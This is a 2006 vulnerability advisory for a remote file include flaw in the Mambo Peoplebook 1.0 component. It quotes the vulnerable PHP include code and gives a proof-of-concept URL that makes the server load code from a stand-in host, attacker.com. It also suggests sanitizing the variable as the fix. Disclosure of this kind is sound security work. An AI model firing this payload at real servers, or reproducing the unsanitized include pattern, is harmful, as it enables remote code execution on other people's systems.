Mambo Peoplebook Component 1.0 Remote File Include Vulnerability

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Peoplebook Mambo Component <= v1.0 Remote File Include Vulnerabilities
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Author          : Matdhule
Date            : August, 14th 2006
Location        : Indonesia, Jakarta
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
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Affected software description:
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Peoplebook Component

Application     : Peoplebook Component
version         : 1.0
URL             : www.mamboforge.net/projects/peoplebook

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Vulnerability:
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in folder com_peoplebook we found vulnerability script param.peoplebook.php.

-----------------------param.peoplebook.php----------------------
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<?php

if (file_exists($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php')) {
   require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/'.$selected_lang.'.php');
}
else {
   require_once ($mosConfig_absolute_path.'/components/com_peoplebook/languages/english.php');
}
...
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Variables $mosConfig_absolute_path are not properly sanitized. When register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.

Proof Of Concept:
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http://[target]/[path]/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path= http://attacker.com/evil.txt?

Solution:
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sanitize variabel $mosConfig_absolute_path in param.peoplebook.php


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Contact:
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     matdhule[at]gmail[dot]com
     
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